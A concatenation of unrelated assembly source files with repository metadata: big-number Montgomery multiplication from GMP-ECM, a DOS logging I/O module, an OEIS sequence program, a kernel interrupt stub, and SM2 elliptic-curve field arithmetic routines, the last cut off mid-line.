addl %ecx, 20(%edi) movl $0, %ecx adcl %eax, %ebx movl 28(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 24(%edi) movl $0, %ebx adcl %eax, %ecx movl 32(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 28(%edi) movl $0, %ecx adcl %eax, %ebx movl 36(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 32(%edi) movl $0, %ebx adcl %eax, %ecx movl 40(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 36(%edi) movl $0, %ecx adcl %eax, %ebx movl 44(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 40(%edi) movl $0, %ebx adcl %eax, %ecx movl 48(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 44(%edi) movl $0, %ecx adcl %eax, %ebx movl 52(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 48(%edi) movl $0, %ebx adcl %eax, %ecx movl 56(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 52(%edi) movl $0, %ecx adcl %eax, %ebx movl 60(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 56(%edi) movl $0, %ebx adcl %eax, %ecx movl 64(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 60(%edi) adcl %ebx, %eax adcl $0, %edx addl %eax, 64(%edi) adcl $0, %edx ### carry limb is in %edx addl %edx, 68(%edi) adcl $0, 72(%edi) movl 168(%esp), %eax movl (%eax), %ebp movl 172(%esp), %esi ### addmul1: src[0] is (%esi) ### dst[0] is (%edi) ### mult is %ebp ### k is 17 ### kills %eax, %ebx, %ecx, %edx ### dst[0,k[ += mult*src[0,k[ plus carry put in ecx or ebx movl (%esi), %eax mull %ebp movl %eax, %ebx movl %edx, %ecx movl 4(%esi), %eax mull %ebp addl %ebx, (%edi) movl $0, %ebx adcl %eax, %ecx movl 8(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 4(%edi) movl $0, %ecx adcl %eax, %ebx movl 12(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 8(%edi) movl $0, %ebx adcl %eax, %ecx movl 16(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 12(%edi) movl $0, %ecx adcl %eax, %ebx movl 20(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 16(%edi) movl $0, %ebx adcl %eax, %ecx movl 24(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 20(%edi) movl $0, %ecx adcl %eax, %ebx movl 28(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 24(%edi) movl $0, %ebx adcl %eax, %ecx movl 32(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 28(%edi) movl $0, %ecx adcl %eax, %ebx movl 36(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 32(%edi) movl $0, %ebx adcl %eax, %ecx movl 40(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 36(%edi) movl $0, %ecx adcl %eax, %ebx movl 44(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 40(%edi) movl $0, %ebx adcl %eax, %ecx movl 48(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 44(%edi) movl $0, %ecx adcl %eax, %ebx movl 52(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 48(%edi) movl $0, %ebx adcl %eax, %ecx movl 56(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 52(%edi) movl $0, %ecx adcl %eax, %ebx movl 60(%esi), %eax adcl %edx, %ecx mull %ebp addl %ebx, 56(%edi) movl $0, %ebx adcl %eax, %ecx movl 64(%esi), %eax adcl %edx, %ebx mull %ebp addl %ecx, 60(%edi) adcl %ebx, %eax adcl $0, %edx addl %eax, 64(%edi) adcl $0, %edx ### carry limb is in %edx addl %edx, 68(%edi) adcl $0, 72(%edi) addl $4, 168(%esp) addl $4, %edi decl 140(%esp) jnz Loop ########################################### ### Copy result in z movl 164(%esp), %ebx movl (%edi), %eax movl %eax, (%ebx) movl 4(%edi), %eax movl %eax, 4(%ebx) movl 8(%edi), %eax movl %eax, 8(%ebx) movl 12(%edi), %eax movl %eax, 12(%ebx) movl 16(%edi), %eax movl %eax, 16(%ebx) movl 20(%edi), %eax movl %eax, 20(%ebx) movl 24(%edi), %eax movl %eax, 24(%ebx) movl 28(%edi), %eax movl %eax, 28(%ebx) movl 32(%edi), %eax movl %eax, 32(%ebx) movl 36(%edi), %eax movl %eax, 36(%ebx) movl 40(%edi), %eax movl %eax, 40(%ebx) movl 44(%edi), %eax movl %eax, 44(%ebx) movl 48(%edi), %eax movl %eax, 48(%ebx) movl 52(%edi), %eax movl %eax, 52(%ebx) movl 56(%edi), %eax movl %eax, 56(%ebx) movl 60(%edi), %eax movl %eax, 60(%ebx) movl 64(%edi), %eax movl %eax, 64(%ebx) movl 68(%edi), %eax # carry addl $144, %esp popl %ebx popl %esi popl %edi popl %ebp ret
17.365535
78
0.546384
[ "MIT" ]
beninato8/ctfs
picoctf/EasyRsa/ecm-7.0.4/athlon/mulredc17.asm
6,651
Assembly
; ; MIT License ; ; Copyright (c) 2020 Alexander Brandt ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; [io.asm] ; - Alexander Brandt 2020 include "macros.asm" ;============================== PrintLogString: ; ds:dx - String to print push ax push bx push cx push dx push ds mov ax, seg_data ; Log filename lives here mov ds, ax ; Open existing file (Int 21/AH=3Dh) ; http://www.ctyme.com/intr/rb-2779.htm mov ah, 0x3D mov al, 0x01 ; Write mode mov dx, str_log_filename int 0x21 jnc near PrintLogString_file_exists ; Create file (Int 21/AH=3Ch) ; http://www.ctyme.com/intr/rb-2778.htm mov ah, 0x3C mov cx, 0x0000 ; Attributes, all bits to zero mov dx, str_log_filename int 0x21 jc near PrintLogString_failure PrintLogString_file_exists: ; Seek (Int 21/AH=42h) ; http://www.ctyme.com/intr/rb-2799.htm mov bx, ax ; File handle, both Open() and Create() returns it on AX mov ah, 0x42 mov al, 0x02 ; From EOF mov cx, 0x0000 ; Origin (signed) HI mov dx, 0x0000 ; Origin (signed) LO int 0x21 jc near PrintLogString_failure ; Calculate length in CX pop ds pop dx push bx ; File handler is here and we need the register mov cx, 0 mov bx, dx mov al, [bx] cmp al, 0x00 jz near PrintLogString_write PrintLog_len: inc cx inc bx mov al, [bx] cmp al, 0x00 jnz near PrintLog_len ; Write to file (Int 21/AH=40h) ; http://www.ctyme.com/intr/rb-2791.htm PrintLogString_write: mov ah, 0x40 pop bx int 0x21 jc near PrintLogString_failure ; Close file (Int 21/AH=3Eh) ; http://www.ctyme.com/intr/rb-2782.htm mov ah, 0x3E int 0x21 ; File handle still on BX ; Bye! pop cx pop bx pop ax ret PrintLogString_failure: mov al, EXIT_FAILURE call near Exit ; (al) ;============================== PrintLogNumber: ; ax - Number to print push bx push cx push dx push ds mov bx, seg_data ; HEX table mov ds, bx ; Create the string termination mov cx, 0x000A ; Unix NL + NULL push cx ; Push Alpha ; Create the number string mov bh, 0x00 mov bl, al ; Bits 0-3 and bl, 00001111b mov ch, [hex_table + bx] mov bl, al ; Bits 4-7 shr bl, 4 mov cl, [hex_table + bx] push cx ; Push Beta mov bl, ah ; Bits 8-11 and bl, 00001111b mov ch, [hex_table + bx] mov bl, ah ; Bits 12-15 shr bl, 4 mov cl, [hex_table + bx] push cx ; Push Gamma ; Point DS to SS, and DX to SP SetDsDx ss, sp ; Print it call near PrintLogString pop cx ; Pushes' Alpha, Beta and Gamma pop cx pop cx ; Bye! pop ds pop dx pop cx pop bx ret ;============================== PrintOut: ; ds:dx - Text to print ('$' terminated) push ax ; Print an error message to stdout (Int 21/AH=09h) ; http://www.ctyme.com/intr/rb-2562.htm mov ah, 0x09 int 0x21 ; Bye! pop ax ret ;============================== FileOpen: ; ds:dx - Filename push cx ; Following interrupt uses it ; Open existing file (Int 21/AH=3Dh) ; http://www.ctyme.com/intr/rb-2779.htm mov ah, 0x3D mov al, 0x00 ; Read mode int 0x21 jc near FileOpen_failure ; Bye! pop cx ret FileOpen_failure: ; Print error in the log push ds push dx push bx mov bx, ax ; Open() error code SetDsDx seg_data, str_file_open_error call near PrintLogString ; (ds:dx) mov ax, bx call near PrintLogNumber ; (ax) pop bx pop dx pop ds pop cx mov ax, 0x0000 ret ;============================== FileClose: ; ax - File handler cmp ax, 0x0000 jz near FileClose_invalid push bx mov bx, ax ; Close file (Int 21/AH=3Eh) ; http://www.ctyme.com/intr/rb-2782.htm mov ah, 0x3E int 0x21 ; Bye! pop bx ret FileClose_invalid: ret ;============================== FileRead: ; ax - File handler ; ds:dx - Destination ; cx - Size cmp ax, 0x0000 jz near FileRead_invalid push bx push ax mov bx, ax ; Read From File or Device (Int 21/AH=3Fh) ; http://www.ctyme.com/intr/rb-2783.htm mov ah, 0x3F int 0x21 ; Bye! pop ax pop bx ret FileRead_invalid: ret ;============================== Exit: ; al - Exit status ; Terminate program (Int 21/AH=4Ch) ; http://www.ctyme.com/intr/rb-2974.htm mov ah, 0x4C int 0x21
17.288136
80
0.669216
[ "MIT" ]
baAlex/Sakurai
source/engine-dos/io.asm
5,100
Assembly
; A323724: a(n) = n*(2*(n - 2)*n + (-1)^n + 3)/4. ; 0,0,2,6,20,40,78,126,200,288,410,550,732,936,1190,1470,1808,2176,2610,3078,3620,4200,4862,5566,6360,7200,8138,9126,10220,11368,12630,13950,15392,16896,18530,20230,22068,23976,26030,28158,30440,32800,35322,37926,40700,43560,46598,49726,53040,56448,60050,63750,67652,71656,75870,80190,84728,89376,94250,99238,104460,109800,115382,121086,127040,133120,139458,145926,152660,159528,166670,173950,181512,189216,197210,205350,213788,222376,231270,240318,249680,259200,269042,279046,289380,299880,310718,321726,333080,344608,356490,368550,380972,393576,406550,419710,433248,446976,461090,475398 mov $1,$0 pow $0,2 add $0,2 mul $1,2 sub $0,$1 div $0,2 mul $1,$0 mov $0,$1 div $0,4 mul $0,2
52.428571
588
0.756131
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/323/A323724.asm
734
Assembly
.386p Kernel Segment public para use32 assume cs:Kernel __kParallelProc proc pushad mov ebp,esp add ebp,32 push dword ptr ICW2_MASTER_INT_NO + 7 push dword ptr 0 push dword ptr [ebp] push dword ptr [ebp + 4] push dword ptr [ebp + 8] test dword ptr [ebp + 4],3 jz _kParallelKernelModeInt push dword ptr [ebp + 12] push dword ptr [ebp + 16] jmp _kParallelShowExpInfo _kParallelKernelModeInt: push dword ptr 0 push dword ptr 0 _kParallelShowExpInfo: call __exceptionInfo add esp,28 mov al,20h out 20h,al popad iretd __kParallelProc endp Kernel ends
15.230769
38
0.725589
[ "Apache-2.0" ]
satadriver/LiunuxOS
kPrlll.asm
594
Assembly
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 5, 0x90 Lpoly: .quad 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFEFFFFFFFF LRR: .quad 0x200000003, 0x2ffffffff, 0x100000001, 0x400000002 LOne: .long 1,1,1,1,1,1,1,1 LTwo: .long 2,2,2,2,2,2,2,2 LThree: .long 3,3,3,3,3,3,3,3 .p2align 5, 0x90 .globl sm2_mul_by_2 .type sm2_mul_by_2, @function sm2_mul_by_2: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe1: .size sm2_mul_by_2, .Lfe1-(sm2_mul_by_2) .p2align 5, 0x90 .globl sm2_div_by_2 .type sm2_div_by_2, @function sm2_div_by_2: push %r12 push %r13 push %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r13, %r13 xor %r14, %r14 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 adc $(0), %r13 test $(1), %r8 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 cmovne %r13, %r14 shrd $(1), %r9, %r8 shrd $(1), %r10, %r9 shrd $(1), %r11, %r10 shrd $(1), %r14, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r14 pop %r13 pop %r12 ret .Lfe2: .size sm2_div_by_2, .Lfe2-(sm2_div_by_2) .p2align 5, 0x90 .globl sm2_mul_by_3 .type sm2_mul_by_3, @function sm2_mul_by_3: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 shld $(1), %r11, %r13 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shld $(1), %r8, %r9 shl $(1), %r8 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 xor %r13, %r13 addq (%rsi), %r8 adcq (8)(%rsi), %r9 adcq (16)(%rsi), %r10 adcq (24)(%rsi), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe3: .size sm2_mul_by_3, .Lfe3-(sm2_mul_by_3) .p2align 5, 0x90 .globl sm2_add .type sm2_add, @function sm2_add: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 addq (%rdx), %r8 adcq (8)(%rdx), %r9 adcq (16)(%rdx), %r10 adcq (24)(%rdx), %r11 adc $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 subq Lpoly+0(%rip), %rax sbbq Lpoly+8(%rip), %rdx sbbq Lpoly+16(%rip), %rcx sbbq Lpoly+24(%rip), %r12 sbb $(0), %r13 cmove %rax, %r8 cmove %rdx, %r9 cmove %rcx, %r10 cmove %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe4: .size sm2_add, .Lfe4-(sm2_add) .p2align 5, 0x90 .globl sm2_sub .type sm2_sub, @function sm2_sub: push %r12 push %r13 xor %r13, %r13 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 subq (%rdx), %r8 sbbq (8)(%rdx), %r9 sbbq (16)(%rdx), %r10 sbbq (24)(%rdx), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe5: .size sm2_sub, .Lfe5-(sm2_sub) .p2align 5, 0x90 .globl sm2_neg .type sm2_neg, @function sm2_neg: push %r12 push %r13 xor %r13, %r13 xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 subq (%rsi), %r8 sbbq (8)(%rsi), %r9 sbbq (16)(%rsi), %r10 sbbq (24)(%rsi), %r11 sbb $(0), %r13 mov %r8, %rax mov %r9, %rdx mov %r10, %rcx mov %r11, %r12 addq Lpoly+0(%rip), %rax adcq Lpoly+8(%rip), %rdx adcq Lpoly+16(%rip), %rcx adcq Lpoly+24(%rip), %r12 test %r13, %r13 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %rcx, %r10 cmovne %r12, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe6: .size sm2_neg, .Lfe6-(sm2_neg) .p2align 5, 0x90 sm2_mmull: xor %r13, %r13 movq (%rbx), %rax mulq (%rsi) mov %rax, %r8 mov %rdx, %r9 movq (%rbx), %rax mulq (8)(%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %r10 movq (%rbx), %rax mulq (16)(%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (%rbx), %rax mulq (24)(%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 mov %r8, %r14 shl $(32), %r14 mov %r8, %r15 shr $(32), %r15 mov %r8, %rcx mov %r8, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r9 adc %rbp, %r10 adc %rdx, %r11 adc %rax, %r12 adc $(0), %r13 xor %r8, %r8 movq (8)(%rbx), %rax mulq (%rsi) add %rax, %r9 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r10 adc $(0), %rdx add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (8)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc %rdx, %r13 adc $(0), %r8 mov %r9, %r14 shl $(32), %r14 mov %r9, %r15 shr $(32), %r15 mov %r9, %rcx mov %r9, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r10 adc %rbp, %r11 adc %rdx, %r12 adc %rax, %r13 adc $(0), %r8 xor %r9, %r9 movq (16)(%rbx), %rax mulq (%rsi) add %rax, %r10 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r11 adc $(0), %rdx add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (16)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc %rdx, %r8 adc $(0), %r9 mov %r10, %r14 shl $(32), %r14 mov %r10, %r15 shr $(32), %r15 mov %r10, %rcx mov %r10, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r11 adc %rbp, %r12 adc %rdx, %r13 adc %rax, %r8 adc $(0), %r9 xor %r10, %r10 movq (24)(%rbx), %rax mulq (%rsi) add %rax, %r11 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (8)(%rsi) add %rcx, %r12 adc $(0), %rdx add %rax, %r12 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (16)(%rsi) add %rcx, %r13 adc $(0), %rdx add %rax, %r13 adc $(0), %rdx mov %rdx, %rcx movq (24)(%rbx), %rax mulq (24)(%rsi) add %rcx, %r8 adc $(0), %rdx add %rax, %r8 adc %rdx, %r9 adc $(0), %r10 mov %r11, %r14 shl $(32), %r14 mov %r11, %r15 shr $(32), %r15 mov %r11, %rcx mov %r11, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r12 adc %rbp, %r13 adc %rdx, %r8 adc %rax, %r9 adc $(0), %r10 xor %r11, %r11 movq Lpoly+0(%rip), %rcx movq Lpoly+8(%rip), %rbp movq Lpoly+16(%rip), %rbx movq Lpoly+24(%rip), %rdx mov %r12, %rax mov %r13, %r11 mov %r8, %r14 mov %r9, %r15 sub %rcx, %rax sbb %rbp, %r11 sbb %rbx, %r14 sbb %rdx, %r15 sbb $(0), %r10 cmovnc %rax, %r12 cmovnc %r11, %r13 cmovnc %r14, %r8 cmovnc %r15, %r9 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r8, (16)(%rdi) movq %r9, (24)(%rdi) ret .p2align 5, 0x90 .globl sm2_mul_montl .type sm2_mul_montl, @function sm2_mul_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rdx, %rbx call sm2_mmull vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe7: .size sm2_mul_montl, .Lfe7-(sm2_mul_montl) .p2align 5, 0x90 .globl sm2_to_mont .type sm2_to_mont, @function sm2_to_mont: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 lea LRR(%rip), %rbx call sm2_mmull vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe8: .size sm2_to_mont, .Lfe8-(sm2_to_mont) .p2align 5, 0x90 sm2_mmulx: xor %r13, %r13 xor %rdx, %rdx movq (%rbx), %rdx mulxq (%rsi), %r8, %r9 mulxq (8)(%rsi), %rcx, %r10 add %rcx, %r9 mulxq (16)(%rsi), %rcx, %r11 adc %rcx, %r10 mulxq (24)(%rsi), %rcx, %r12 adc %rcx, %r11 adc $(0), %r12 mov %r8, %r14 shl $(32), %r14 mov %r8, %r15 shr $(32), %r15 mov %r8, %rax mov %r8, %rbp xor %rdx, %rdx xor %rcx, %rcx sub %r14, %rax sbb %r15, %rdx sbb %r14, %rcx sbb %r15, %rbp add %rax, %r9 adc %rdx, %r10 adc %rcx, %r11 adc %rbp, %r12 adc $(0), %r13 xor %r8, %r8 movq (8)(%rbx), %rdx mulxq (%rsi), %rcx, %rbp adcx %rcx, %r9 adox %rbp, %r10 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r10 adox %rbp, %r11 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (24)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 adcx %r8, %r13 adox %r8, %r8 adc $(0), %r8 mov %r9, %r14 shl $(32), %r14 mov %r9, %r15 shr $(32), %r15 mov %r9, %rax mov %r9, %rbp xor %rdx, %rdx xor %rcx, %rcx sub %r14, %rax sbb %r15, %rdx sbb %r14, %rcx sbb %r15, %rbp add %rax, %r10 adc %rdx, %r11 adc %rcx, %r12 adc %rbp, %r13 adc $(0), %r8 xor %r9, %r9 movq (16)(%rbx), %rdx mulxq (%rsi), %rcx, %rbp adcx %rcx, %r10 adox %rbp, %r11 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 mulxq (24)(%rsi), %rcx, %rbp adcx %rcx, %r13 adox %rbp, %r8 adcx %r9, %r8 adox %r9, %r9 adc $(0), %r9 mov %r10, %r14 shl $(32), %r14 mov %r10, %r15 shr $(32), %r15 mov %r10, %rax mov %r10, %rbp xor %rdx, %rdx xor %rcx, %rcx sub %r14, %rax sbb %r15, %rdx sbb %r14, %rcx sbb %r15, %rbp add %rax, %r11 adc %rdx, %r12 adc %rcx, %r13 adc %rbp, %r8 adc $(0), %r9 xor %r10, %r10 movq (24)(%rbx), %rdx mulxq (%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (8)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r13 adox %rbp, %r8 mulxq (24)(%rsi), %rcx, %rbp adcx %rcx, %r8 adox %rbp, %r9 adcx %r10, %r9 adox %r10, %r10 adc $(0), %r10 mov %r11, %r14 shl $(32), %r14 mov %r11, %r15 shr $(32), %r15 mov %r11, %rax mov %r11, %rbp xor %rdx, %rdx xor %rcx, %rcx sub %r14, %rax sbb %r15, %rdx sbb %r14, %rcx sbb %r15, %rbp add %rax, %r12 adc %rdx, %r13 adc %rcx, %r8 adc %rbp, %r9 adc $(0), %r10 xor %r11, %r11 movq Lpoly+0(%rip), %rax movq Lpoly+8(%rip), %rdx movq Lpoly+16(%rip), %rbx movq Lpoly+24(%rip), %rcx mov %r12, %rbp mov %r13, %r11 mov %r8, %r14 mov %r9, %r15 sub %rax, %rbp sbb %rdx, %r11 sbb %rbx, %r14 sbb %rcx, %r15 sbb $(0), %r10 cmovnc %rbp, %r12 cmovnc %r11, %r13 cmovnc %r14, %r8 cmovnc %r15, %r9 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r8, (16)(%rdi) movq %r9, (24)(%rdi) ret .p2align 5, 0x90 .globl sm2_mul_montx .type sm2_mul_montx, @function sm2_mul_montx: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 mov %rdx, %rbx call sm2_mmulx vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe9: .size sm2_mul_montx, .Lfe9-(sm2_mul_montx) .p2align 5, 0x90 .globl sm2_sqr_montl .type sm2_sqr_montl, @function sm2_sqr_montl: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %rbx movq (8)(%rsi), %rax mul %rbx mov %rax, %r9 mov %rdx, %r10 movq (16)(%rsi), %rax mul %rbx add %rax, %r10 adc $(0), %rdx mov %rdx, %r11 movq (24)(%rsi), %rax mul %rbx add %rax, %r11 adc $(0), %rdx mov %rdx, %r12 movq (8)(%rsi), %rbx movq (16)(%rsi), %rax mul %rbx add %rax, %r11 adc $(0), %rdx mov %rdx, %rbp movq (24)(%rsi), %rax mul %rbx add %rax, %r12 adc $(0), %rdx add %rbp, %r12 adc $(0), %rdx mov %rdx, %r13 movq (16)(%rsi), %rbx movq (24)(%rsi), %rax mul %rbx add %rax, %r13 adc $(0), %rdx mov %rdx, %r14 xor %r15, %r15 shld $(1), %r14, %r15 shld $(1), %r13, %r14 shld $(1), %r12, %r13 shld $(1), %r11, %r12 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shl $(1), %r9 movq (%rsi), %rax mul %rax mov %rax, %r8 add %rdx, %r9 adc $(0), %r10 movq (8)(%rsi), %rax mul %rax add %rax, %r10 adc %rdx, %r11 adc $(0), %r12 movq (16)(%rsi), %rax mul %rax add %rax, %r12 adc %rdx, 